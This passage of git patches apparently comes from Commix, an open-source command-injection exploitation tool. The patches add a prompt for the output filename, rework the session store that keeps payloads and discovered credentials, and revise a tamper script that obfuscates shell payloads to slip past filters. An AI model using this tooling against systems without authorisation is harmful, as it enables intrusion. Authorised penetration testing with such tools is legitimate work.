OUTPUT_TEXTFILE = tmp_path + TAG + settings.OUTPUT_FILE_EXT + #OUTPUT_TEXTFILE = tmp_path + TAG + settings.OUTPUT_FILE_EXT + OUTPUT_TEXTFILE = injector.select_output_filename(technique, tmp_path, TAG) for output_length in range(1, int(tag_length)): try: # Tempfile-based decision payload (check if host is vulnerable). @@ -492,7 +494,9 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: settings.FILE_BASED_STATE = True checks.check_for_stored_tamper(payload) - OUTPUT_TEXTFILE = TAG + settings.OUTPUT_FILE_EXT + #OUTPUT_TEXTFILE = TAG + settings.OUTPUT_FILE_EXT + tmp_path = "" + OUTPUT_TEXTFILE = injector.select_output_filename(technique, tmp_path, TAG) if re.findall(settings.DIRECTORY_REGEX,payload): filepath = re.findall(settings.DIRECTORY_REGEX,payload)[0] settings.WEB_ROOT = os.path.dirname(filepath) @@ -518,7 +522,8 @@ def do_results_based_proccess(url, timesec, filename, http_request_method, injec if technique == settings.INJECTION_TECHNIQUE.FILE_BASED: # The output file for file-based injection technique. - OUTPUT_TEXTFILE = TAG + settings.OUTPUT_FILE_EXT + #OUTPUT_TEXTFILE = TAG + settings.OUTPUT_FILE_EXT + OUTPUT_TEXTFILE = injector.select_output_filename(technique, tmp_path, TAG) else: randv1 = random.randrange(100) randv2 = random.randrange(100) diff --git a/src/core/injections/controller/injector.py b/src/core/injections/controller/injector.py index cdd917f19f..29ec87d735 100755 --- a/src/core/injections/controller/injector.py +++ b/src/core/injections/controller/injector.py @@ -322,6 +322,59 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese else: checks.unexploitable_point() +""" +Prompt the user to confirm or set a custom filename for command execution output. +Returns the chosen filename. +""" +def select_output_filename(technique, tmp_path, TAG): + # Ensure tmp_path ends with a slash for safe concatenation + if tmp_path and not tmp_path.endswith("/"): + tmp_path += "/" + + # If a custom filename is already set, handle tmp_path prefix depending on technique + if settings.CUSTOM_FILENAME: + if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + if not settings.CUSTOM_FILENAME.startswith(tmp_path): + settings.CUSTOM_FILENAME = tmp_path + settings.CUSTOM_FILENAME + else: + # Remove tmp_path prefix if present but technique is different + if settings.CUSTOM_FILENAME.startswith(tmp_path): + settings.CUSTOM_FILENAME = settings.CUSTOM_FILENAME[len(tmp_path):] + return settings.CUSTOM_FILENAME + + # Generate default filename + OUTPUT_TEXTFILE = TAG + settings.OUTPUT_FILE_EXT + + while True: + message = "Would you like to use a random file '" + OUTPUT_TEXTFILE + message += "' to receive the command execution output? [Y/n] > " + procced_option = common.read_input(message, default="Y", check_batch=True) + + if procced_option in settings.CHOICE_YES: + break + + elif procced_option in settings.CHOICE_NO: + message = "Enter a filename to receive the command execution output > " + message = common.read_input(message, default=OUTPUT_TEXTFILE, check_batch=True) + + OUTPUT_TEXTFILE = message + info_msg = "Using '" + OUTPUT_TEXTFILE + "' for command execution output." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + break + + elif procced_option in settings.CHOICE_QUIT: + raise SystemExit() + + else: + common.invalid_option(procced_option) + + # Prepend tmp_path if needed + if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + OUTPUT_TEXTFILE = tmp_path + OUTPUT_TEXTFILE + + settings.CUSTOM_FILENAME = OUTPUT_TEXTFILE + return OUTPUT_TEXTFILE + """ Find the URL directory. """ diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index bbf27761ff..580b400bfd 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -31,6 +31,11 @@ def injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_meth def injection_output(url, OUTPUT_TEXTFILE, timesec, technique): return injector.injection_output(url, OUTPUT_TEXTFILE, timesec, technique) +""" +""" +def select_output_filename(technique, tmp_path, TAG): + return injector.select_output_filename(technique, tmp_path, TAG) + """ Command execution results. """ diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index bc181c9a62..765d60e7ba 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -26,6 +26,11 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique): return injector.time_related_injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique) +""" +""" +def select_output_filename(technique, tmp_path, TAG): + return injector.select_output_filename(technique, tmp_path, TAG) + """ False Positive check and evaluation. """ diff --git a/src/utils/settings.py b/src/utils/settings.py index 3d919de880..132757e9e4 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "49" +REVISION = "50" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -599,6 +599,7 @@ class OS(object): WEB_ROOT = "" DEFAULT_WEB_ROOT = "" CUSTOM_WEB_ROOT = False +CUSTOM_FILENAME = "" # Counting the total of HTTP(S) requests TOTAL_OF_REQUESTS = 0 From 07e5485512b2eba67f690ff29bfd9652264fdc03 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 1 Jul 2025 07:11:00 +0300 Subject: [PATCH 0576/1023] Improved session handler for enhanced stability and data integrity --- doc/CHANGELOG.md | 1 + src/utils/session_handler.py | 430 ++++++++++++++++++++--------------- src/utils/settings.py | 2 +- 3 files changed, 251 insertions(+), 182 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 83873000e1..6b91223d92 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.1 (TBA) +* Revised: Improved session handler for enhanced stability and data integrity. * Revised: Improved semiblind ("file-based") technique with filename customization prompt (random or user-defined). * Fixed: Improved handling of non-ASCII characters in URL path and query components. * Fixed: Improved handling of HTTP errors missing response codes during authentication. diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 4fcfd0613a..6d0b426f92 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -18,6 +18,7 @@ import time import base64 import sqlite3 +import hashlib from src.utils import menu from src.utils import settings from src.utils import common @@ -26,25 +27,45 @@ from src.thirdparty.colorama import Fore, Back, Style, init """ -Session handler via SQLite3 db. +Split the URL and return only the base part without any query parameters. """ no_such_table = False """ +Generate a safe and valid SQLite table name derived from the host part of the given URL. +Replaces special characters with underscores to comply with SQLite naming rules. """ def split_url(url): return url.split("?")[0] """ -Generate table name for SQLite3 db. +Return SHA1 hash of the given text (UTF-8 encoded). +Used for obfuscating hostnames in SQLite table names. +""" +def sha1_hash(text): + return hashlib.sha1(text.encode('utf-8')).hexdigest() + +""" +Extract the host from a full URL string. +Example: from 'http://example.com/path' returns 'example.com' +""" +def get_host_from_url(url): + return url.split('//', 1)[1].split('/', 1)[0] + +""" +Generate a SQLite table name based on the SHA1 hash of the URL's host. +This prevents leaking raw hostnames in session files and ensures +safe table names (hex digits only). """ def table_name(url): - host = url.split('//', 1)[1].split('/', 1)[0] - table_name = "session_" + host.replace(".","_").replace(":","_").replace("-","_").replace("[","_").replace("]","_") - return table_name + host = get_host_from_url(url) + hashed_host = sha1_hash(host) + # Prefix 'session_' to identify session-related tables + return "session_" + hashed_host """ -Ignore session. +Handle the scenario where the user requests to ignore any stored session data. +Logs debug or warning messages depending on session file presence. """ def ignore(url): if os.path.isfile(settings.SESSION_FILE): @@ -53,11 +74,12 @@ def ignore(url): settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) else: if settings.VERBOSITY_LEVEL != 0: - warn_msg = "Skipping ignoring the stored session, as the session file not exist." + warn_msg = "Skipping ignoring the stored session, as the session file does not exist." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ -Flush session. +Remove all stored session data by dropping every table in the session database file. +Logs progress and errors appropriately. """ def flush(url): if os.path.isfile(settings.SESSION_FILE): @@ -66,8 +88,9 @@ def flush(url): settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) try: conn = sqlite3.connect(settings.SESSION_FILE) - tables = list(conn.execute("SELECT name FROM sqlite_master WHERE type is 'table'")) - conn.executescript(';'.join(["DROP TABLE IF EXISTS %s" %i for i in tables])) + tables = [row[0] for row in conn.execute("SELECT name FROM sqlite_master WHERE type='table'")] + for table in tables: + conn.execute("DROP TABLE IF EXISTS %s" % table) conn.commit() conn.close() except sqlite3.OperationalError as err_msg: @@ -75,50 +98,53 @@ def flush(url): settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) else: if settings.VERBOSITY_LEVEL != 0: - warn_msg = "Skipping flushing the stored session, as the session file not exist." + warn_msg = "Skipping flushing the stored session, as the session file does not exist." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ -Clear injection point records -except latest for every technique. +Clean injection point records by removing all but the most recent entry for each injection technique. +Helps keep the session file lean and relevant. """ def clear(url): try: - if no_such_table: - conn = sqlite3.connect(settings.SESSION_FILE) - query = "DELETE FROM " + table_name(url) + "_ip WHERE " + \ - "id NOT IN (SELECT MAX(id) FROM " + \ - table_name(url) + "_ip GROUP BY technique);" - conn.execute(query) - conn.commit() - conn.close() + conn = sqlite3.connect(settings.SESSION_FILE) + table = table_name(url) + "_ip" + # Delete all except latest record per technique + query = ("DELETE FROM \"" + table + "\" WHERE id NOT IN " + "(SELECT MAX(id) FROM \"" + table + "\" GROUP BY technique);") + conn.execute(query) + conn.commit() + conn.close() except sqlite3.OperationalError as err_msg: settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) except: settings.LOAD_SESSION = None return False + """ -Import successful injection points to session file. +Store details about a successful injection point into the session database. +Includes metadata such as technique, payload, timing, vulnerability status, etc. """ def import_injection_points(url, technique, injection_type, filename, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable): try: conn = sqlite3.connect(settings.SESSION_FILE) - conn.execute("CREATE TABLE IF NOT EXISTS " + table_name(url) + "_ip" + \ - "(id INTEGER PRIMARY KEY, url VARCHAR, technique VARCHAR, injection_type VARCHAR, separator VARCHAR," \ - "shell VARCHAR, vuln_parameter VARCHAR, prefix VARCHAR, suffix VARCHAR, "\ - "TAG VARCHAR, alter_shell VARCHAR, payload VARCHAR, http_header VARCHAR, http_request_method VARCHAR, url_time_response INTEGER, "\ + table = table_name(url) + "_ip" + conn.execute("CREATE TABLE IF NOT EXISTS \"" + table + "\" " + "(id INTEGER PRIMARY KEY, url VARCHAR, technique VARCHAR, injection_type VARCHAR, separator VARCHAR, " + "shell VARCHAR, vuln_parameter VARCHAR, prefix VARCHAR, suffix VARCHAR, " + "TAG VARCHAR, alter_shell VARCHAR, payload VARCHAR, http_header VARCHAR, http_request_method VARCHAR, url_time_response INTEGER, " "timesec INTEGER, exec_time INTEGER, output_length INTEGER, is_vulnerable VARCHAR, data VARCHAR, cookie VARCHAR);") - conn.execute("INSERT INTO " + table_name(url) + "_ip(url, technique, injection_type, separator, "\ - "shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_header, http_request_method, "\ - "url_time_response, timesec, exec_time, output_length, is_vulnerable, data, cookie) "\ - "VALUES(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)", \ - (str(url), str(technique), str(injection_type), \ - str(separator), str(shell), str(vuln_parameter), str(prefix), str(suffix), \ - str(TAG), str(alter_shell), str(payload), str(settings.HTTP_HEADER), str(http_request_method), \ - int(url_time_response), int(timesec), int(exec_time), \ - int(output_length), str(is_vulnerable), str(menu.options.data), str(menu.options.cookie))) + conn.execute("INSERT INTO \"" + table + "\" (url, technique, injection_type, separator, " + "shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_header, http_request_method, " + "url_time_response, timesec, exec_time, output_length, is_vulnerable, data, cookie) " + "VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", + (str(url), str(technique), str(injection_type), + str(separator), str(shell), str(vuln_parameter), str(prefix), str(suffix), + str(TAG), str(alter_shell), str(payload), str(settings.HTTP_HEADER), str(http_request_method), + int(url_time_response), int(timesec), int(exec_time), + int(output_length), str(is_vulnerable), str(menu.options.data), str(menu.options.cookie))) conn.commit() conn.close() if settings.INJECTION_CHECKER == False: @@ -130,32 +156,36 @@ def import_injection_points(url, technique, injection_type, filename, separator, settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) checks.quit(filename, url, _ = False) - except sqlite3.DatabaseError as err_msg: + except sqlite3.DatabaseError: checks.error_loading_session_file() + """ -Export successful applied techniques from session file. +Retrieve a summary string of all unique injection techniques that have been successfully applied +and stored in the session for the given URL. """ def applied_techniques(url, http_request_method): + techniques = [] try: - techniques = [] conn = sqlite3.connect(settings.SESSION_FILE) - query = "SELECT * FROM sqlite_master WHERE name = '" + table_name(url) + "_ip' AND type = 'table';" - result = conn.execute(query) + table = table_name(url) + "_ip" + query = "SELECT name FROM sqlite_master WHERE name = ? AND type = 'table';" + result = conn.execute(query, (table,)) if result: - query = "SELECT * FROM " + table_name(url) + "_ip WHERE url like '%" + split_url(url) + "%';" - cursor = conn.execute(query).fetchall() - if cursor: - for session in cursor: - if session[2] == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: - technique = session[2].split()[2][0] - else: - technique = session[2][0] - techniques.append(technique) + query = "SELECT technique FROM \"" + table + "\" WHERE url LIKE ?;" + cursor = conn.execute(query, ("%" + split_url(url) + "%",)).fetchall() + for session in cursor: + technique_info = session[0] + if technique_info == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + technique = technique_info.split()[2][0] + else: + technique = technique_info[0] + techniques.append(technique) + conn.close() techniques = list(set(techniques)) techniques = "".join(str(x) for x in techniques) return techniques - except sqlite3.OperationalError as err_msg: + except sqlite3.OperationalError: settings.LOAD_SESSION = None return techniques except: @@ -163,177 +193,215 @@ def applied_techniques(url, http_request_method): return techniques """ -Export successful applied injection level from session file. +Retrieve the injection level stored in the session for the given URL, considering HTTP headers or cookies. +Returns the default injection level if no stored data is found. """ def applied_levels(url, http_request_method): level = settings.DEFAULT_INJECTION_LEVEL + http_header = None try: conn = sqlite3.connect(settings.SESSION_FILE) - query = "SELECT * FROM sqlite_master WHERE name = '" + table_name(url) + "_ip' AND type = 'table';" - result = conn.execute(query) + table = table_name(url) + "_ip" + query = "SELECT name FROM sqlite_master WHERE name = ? AND type = 'table';" + result = conn.execute(query, (table,)) if result: - query = "SELECT * FROM " + table_name(url) + "_ip WHERE url like '%" + split_url(url) + "%';" - cursor = conn.execute(query).fetchall() - if cursor: - for session in cursor: - http_header = session[12] - level = int(session[18]) + query = "SELECT http_header, is_vulnerable FROM \"" + table + "\" WHERE url LIKE ?;" + cursor = conn.execute(query, ("%" + split_url(url) + "%",)).fetchall() + for session in cursor: + http_header = session[0] + level = int(session[1]) + conn.close() if http_header: - if http_header == settings.COOKIE.lower(): + if http_header == settings.COOKIE.lower(): level = settings.COOKIE_INJECTION_LEVEL else: level = settings.HTTP_HEADER_INJECTION_LEVEL return level - except sqlite3.OperationalError as err_msg: + except sqlite3.OperationalError: settings.LOAD_SESSION = None return level except: settings.LOAD_SESSION = None return level + """ -Export successful injection points from session file. +Check the session database for stored injection points matching the given URL and parameter. +If found, updates the relevant settings and returns stored vulnerable parameter information. """ def check_stored_injection_points(url, check_parameter, http_request_method): - _ = False try: - techniques = [] + found = False + techniques = set() + vuln_parameter = check_parameter + table = table_name(url) + "_ip" + + # Ensure table name is safe (only alphanumeric + underscore) + if not table.isidentifier(): + raise ValueError("Unsafe table name") + conn = sqlite3.connect(settings.SESSION_FILE) - query = "SELECT * FROM sqlite_master WHERE name = '" + table_name(url) + "_ip' AND type = 'table';" - result = conn.execute(query).fetchall() - # vuln_parameter = check_parameter - if result: - query = "SELECT * FROM " + table_name(url) + "_ip WHERE url like '%" + split_url(url) + "%';" - cursor = conn.execute(query).fetchall() - if cursor: - for session in cursor: - url = session[1] - if session[2] == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: - technique = session[2].split()[2][0] - else: - technique = session[2][0] - if technique in menu.options.tech: - _ = True - techniques.append(technique) - cookie = session[20] - if cookie: - if settings.INJECT_TAG in cookie: - settings.COOKIE_INJECTION = True - menu.options.cookie = cookie - techniques = list(set(techniques)) - techniques = "".join(str(x) for x in techniques) - if _: - vuln_parameter = session[6] - settings.LOAD_SESSION = True - settings.INJECTION_CHECKER = True - if not settings.MULTI_TARGETS: - settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) - return url, vuln_parameter - else: - settings.LOAD_SESSION = False - return url, vuln_parameter - else: + cursor = conn.cursor() + + # Check if the table exists + cursor.execute("SELECT name FROM sqlite_master WHERE name = ? AND type = 'table';", (table,)) + if not cursor.fetchall(): settings.LOAD_SESSION = None return url, check_parameter - except sqlite3.OperationalError as err_msg: + + # Fetch stored sessions for matching URL + like_url = "%" + split_url(url) + "%" + query = "SELECT * FROM \"" + table + "\" WHERE url LIKE ?;" + cursor.execute(query, (like_url,)) + sessions = cursor.fetchall() + + for session in sessions: + session_url = session[1] + technique_info = session[2] + + # Parse technique + if technique_info == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + technique = technique_info.split()[2][0] + else: + technique = technique_info[0] + + techniques.add(technique) + + if technique in menu.options.tech: + found = True + vuln_parameter = session[6] # Last matching session wins + + cookie = session[20] if len(session) > 20 else None + if cookie: + if settings.INJECT_TAG in cookie: + settings.COOKIE_INJECTION = True + menu.options.cookie = cookie + + if found: + settings.LOAD_SESSION = True + settings.INJECTION_CHECKER = True + if not settings.MULTI_TARGETS: + settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) + return session_url, vuln_parameter + + settings.LOAD_SESSION = False + return url, check_parameter + + except sqlite3.OperationalError: settings.LOAD_SESSION = None return url, check_parameter - except: + except Exception: settings.LOAD_SESSION = None return url, check_parameter + """ -Export successful injection points from session file. +Retrieve detailed stored injection point information from the session database matching +URL, technique, injection type, and HTTP method. +Returns False if no matching session is found. """ def export_injection_points(url, technique, injection_type, http_request_method): try: conn = sqlite3.connect(settings.SESSION_FILE) - result = conn.execute("SELECT * FROM sqlite_master WHERE name = '" + table_name(url) + "_ip' AND type = 'table';") - if result: - query = "SELECT * FROM " + table_name(url) + "_ip WHERE " + \ - "url like '%" + split_url(url) + "%' AND " + \ - "technique == '" + technique + "' AND " + \ - "injection_type == '" + injection_type + "' AND " + \ - "http_request_method == '" + http_request_method + "';" - cursor = conn.execute(query).fetchall() - if cursor: - for session in cursor: - url = session[1] - technique = session[2] - injection_type = session[3] - separator = session[4] - shell = session[5] - vuln_parameter = session[6] - prefix = session[7] - suffix = session[8] - TAG = session[9] - alter_shell = session[10] - payload = session[11] - http_header = session[12] - http_request_method = session[13] - url_time_response = session[14] - timesec = session[15] - exec_time = session[16] - output_length = session[17] - is_vulnerable = session[18] - data = session[19] - cookie = session[20] - if http_header: - settings.HTTP_HEADER = http_header - if cookie: - menu.options.cookie = cookie - if data: - settings.IGNORE_USER_DEFINED_POST_DATA = False - menu.options.data = data - if settings.INJECTION_LEVEL != is_vulnerable: - settings.INJECTION_LEVEL = int(is_vulnerable) - return url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable - else: - settings.LOAD_SESSION = None - return False - else: - no_such_table = True - pass - except sqlite3.OperationalError as err_msg: + table = table_name(url) + "_ip" + + # Check if table exists safely + cursor = conn.cursor() + cursor.execute("SELECT name FROM sqlite_master WHERE name = ? AND type = 'table';", (table,)) + if not cursor.fetchall(): + settings.LOAD_SESSION = None + return False + + # Prepare query with parameters + like_url = "%" + split_url(url) + "%" + query = ("SELECT * FROM \"" + table + "\" WHERE url LIKE ? AND technique = ? " + "AND injection_type = ? AND http_request_method = ?;") + cursor.execute(query, (like_url, technique, injection_type, http_request_method)) + sessions = cursor.fetchall() + + if sessions: + for session in sessions: + url = session[1] + technique = session[2] + injection_type = session[3] + separator = session[4] + shell = session[5] + vuln_parameter = session[6] + prefix = session[7] + suffix = session[8] + TAG = session[9] + alter_shell = session[10] + payload = session[11] + http_header = session[12] + http_request_method = session[13] + url_time_response = session[14] + timesec = session[15] + exec_time = session[16] + output_length = session[17] + is_vulnerable = session[18] + data = session[19] + cookie = session[20] + + if http_header: + settings.HTTP_HEADER = http_header + if cookie: + menu.options.cookie = cookie + if data: + settings.IGNORE_USER_DEFINED_POST_DATA = False + menu.options.data = data + if settings.INJECTION_LEVEL != is_vulnerable: + settings.INJECTION_LEVEL = int(is_vulnerable) + + return (url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, + TAG, alter_shell, payload, http_request_method, url_time_response, timesec, + exec_time, output_length, is_vulnerable) + + settings.LOAD_SESSION = None + return False + + except sqlite3.OperationalError: settings.LOAD_SESSION = None return False except: settings.LOAD_SESSION = None return False + """ -Import successful command execution outputs to session file. +Store the output of a successfully executed command for a given URL and vulnerable parameter in the session database. +Command and output are base64-encoded for storage. """ def store_cmd(url, cmd, shell, vuln_parameter): if any(type(_) is str for _ in (url, cmd, shell, vuln_parameter)): try: conn = sqlite3.connect(settings.SESSION_FILE) - conn.execute("CREATE TABLE IF NOT EXISTS " + table_name(url) + "_ir" + \ + table = table_name(url) + "_ir" + conn.execute("CREATE TABLE IF NOT EXISTS \"" + table + "\" " "(cmd VARCHAR, output VARCHAR, vuln_parameter VARCHAR);") - conn.execute("INSERT INTO " + table_name(url) + "_ir(cmd, output, vuln_parameter) " \ - "VALUES(?,?,?)", \ - (str(base64.b64encode(cmd.encode(settings.DEFAULT_CODEC)).decode()), \ - str(base64.b64encode(shell.encode(settings.DEFAULT_CODEC)).decode()), \ - str(vuln_parameter))) + conn.execute("INSERT INTO \"" + table + "\" (cmd, output, vuln_parameter) VALUES (?, ?, ?)", + (base64.b64encode(cmd.encode(settings.DEFAULT_CODEC)).decode(), + base64.b64encode(shell.encode(settings.DEFAULT_CODEC)).decode(), + vuln_parameter)) conn.commit() conn.close() except sqlite3.OperationalError as err_msg: settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - except (TypeError, AttributeError) as err_msg: + except (TypeError, AttributeError): pass + """ -Export successful command execution outputs from session file. +Retrieve the stored output of a previously executed command from the session database, decoding it back to a string. +Returns None if no stored output is found. """ def export_stored_cmd(url, cmd, vuln_parameter): try: output = None conn = sqlite3.connect(settings.SESSION_FILE) - query = "SELECT output FROM " + table_name(url) + \ - "_ir WHERE cmd='" + base64.b64encode(cmd.encode(settings.DEFAULT_CODEC)).decode() + "' AND " + \ - "vuln_parameter= '" + vuln_parameter + "';" - cursor = conn.execute(query).fetchall() - conn.commit() + table = table_name(url) + "_ir" + encoded_cmd = base64.b64encode(cmd.encode(settings.DEFAULT_CODEC)).decode() + query = "SELECT output FROM \"" + table + "\" WHERE cmd = ? AND vuln_parameter = ?;" + cursor = conn.execute(query, (encoded_cmd, vuln_parameter)).fetchall() conn.close() for session in cursor: output = base64.b64decode(session[0]) @@ -341,44 +409,44 @@ def export_stored_cmd(url, cmd, vuln_parameter): return output.decode(settings.DEFAULT_CODEC) except AttributeError: return output - except sqlite3.OperationalError as err_msg: + except sqlite3.OperationalError: pass + """ -Import valid credentials to session file. +Save valid authentication credentials (e.g., username and password) discovered during testing into the session database. """ def import_valid_credentials(url, authentication_type, admin_panel, username, password): try: conn = sqlite3.connect(settings.SESSION_FILE) - conn.execute("CREATE TABLE IF NOT EXISTS " + table_name(url) + "_creds" + \ - "(id INTEGER PRIMARY KEY, url VARCHAR, authentication_type VARCHAR, admin_panel VARCHAR, "\ + table = table_name(url) + "_creds" + conn.execute("CREATE TABLE IF NOT EXISTS \"" + table + "\" " + "(id INTEGER PRIMARY KEY, url VARCHAR, authentication_type VARCHAR, admin_panel VARCHAR, " "username VARCHAR, password VARCHAR);") - conn.execute("INSERT INTO " + table_name(url) + "_creds(url, authentication_type, " \ - "admin_panel, username, password) VALUES(?,?,?,?,?)", \ - (str(url), str(authentication_type), str(admin_panel), \ - str(username), str(password))) + conn.execute("INSERT INTO \"" + table + "\" (url, authentication_type, admin_panel, username, password) VALUES (?, ?, ?, ?, ?)", + (url, authentication_type, admin_panel, username, password)) conn.commit() conn.close() except sqlite3.OperationalError as err_msg: settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - except sqlite3.DatabaseError as err_msg: + except sqlite3.DatabaseError: checks.error_loading_session_file() """ -Export valid credentials from session file. +Retrieve valid stored authentication credentials for a given URL and authentication type from the session database. +Returns the credentials as a colon-separated string if found. """ def export_valid_credentials(url, authentication_type): try: - output = None conn = sqlite3.connect(settings.SESSION_FILE) - query = "SELECT username, password FROM " + table_name(url) + \ - "_creds WHERE url like '%" + split_url(url) + "%' AND " + \ - "authentication_type= '" + authentication_type + "';" - cursor = conn.execute(query).fetchall() - conn.commit() + table = table_name(url) + "_creds" + like_url = "%" + split_url(url) + "%" + query = "SELECT username, password FROM \"" + table + "\" WHERE url LIKE ? AND authentication_type = ?;" + cursor = conn.execute(query, (like_url, authentication_type)).fetchall() conn.close() - return ":".join(cursor[0]) - except sqlite3.OperationalError as err_msg: + if cursor: + return ":".join(cursor[0]) + except sqlite3.OperationalError: pass -# eof \ No newline at end of file +# eof diff --git a/src/utils/settings.py b/src/utils/settings.py index 132757e9e4..d2d79776b7 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "50" +REVISION = "51" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 7507aa19be4fad511f34b7280a38a3ae3ebc60bc Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 2 Jul 2025 07:05:15 +0300 Subject: [PATCH 0577/1023] Minor update regarding uninitializedvariable.py --- src/core/tamper/uninitializedvariable.py | 36 ++++++++++++++++++------ src/utils/settings.py | 2 +- 2 files changed, 29 insertions(+), 9 deletions(-) diff --git a/src/core/tamper/uninitializedvariable.py b/src/core/tamper/uninitializedvariable.py index f26b2429e7..62162823d3 100644 --- a/src/core/tamper/uninitializedvariable.py +++ b/src/core/tamper/uninitializedvariable.py @@ -30,25 +30,45 @@ if not settings.TAMPER_SCRIPTS[__tamper__]: num = 2 - obf_char = "${" + ''.join(random.choice(string.ascii_uppercase) for x in range(num)) + "}" + obf_char = "${" + ''.join(random.choice(string.ascii_uppercase) for _ in range(num)) + "}" settings.TAMPER_SCRIPTS[__tamper__] = True + def tamper(payload): def add_uninitialized_variable(payload): - if settings.TAMPER_SCRIPTS["backslashes"] or settings.TAMPER_SCRIPTS["dollaratsigns"]: - err_msg = "Tamper script '" + __tamper__ + "' is unlikely to work combined with the tamper scripts: 'backslashes' and/or 'dollaratsigns'." + # Safety check for incompatible scripts + if settings.TAMPER_SCRIPTS.get("backslashes") or settings.TAMPER_SCRIPTS.get("dollaratsigns"): + err_msg = "Tamper script '" + __tamper__ + "' is unlikely to work in combination with " + err_msg += "the tamper scripts 'backslashes' and/or 'dollaratsigns'." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - payload = re.sub(settings.TAMPER_MODIFICATION_LETTERS, lambda x: obf_char + x[0], payload) + + # Split payload into parts: obfuscated (${XX}) and plain + parts = re.split(r'(\$\{[A-Z]+\})', payload) + + # Apply obfuscation only on plain parts + for i in range(len(parts)): + if not re.match(r'\$\{[A-Z]+\}', parts[i]): + parts[i] = re.sub( + settings.TAMPER_MODIFICATION_LETTERS, + lambda x: obf_char + x.group(0), + parts[i] + ) + + payload = ''.join(parts) + + # Undo obfuscation for ignored words for word in settings.IGNORE_TAMPER_TRANSFORMATION: - _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) - if _ in payload: - payload = payload.replace(_,_.replace(obf_char, "")) + obf_word = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) + if obf_word in payload: + payload = payload.replace(obf_word, word) + return payload + # Only apply on non-Windows targets if settings.TARGET_OS != settings.OS.WINDOWS: return add_uninitialized_variable(payload) else: return payload -# eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index d2d79776b7..92b366f255 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -262,7 +262,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "51" +REVISION = "52" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From d3159c4a64d5add818a408226dec5c77b8134783 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 3 Jul 2025 08:25:43 +0300 Subject: [PATCH 0578/1023] Minor update --- src/core/injections/controller/checks.py | 9 ++++++--- src/utils/settings.py | 2 +- 2 files changed, 7 insertions(+), 4 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index aa55a8e4e5..184aadd433 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -47,15 +47,18 @@ from 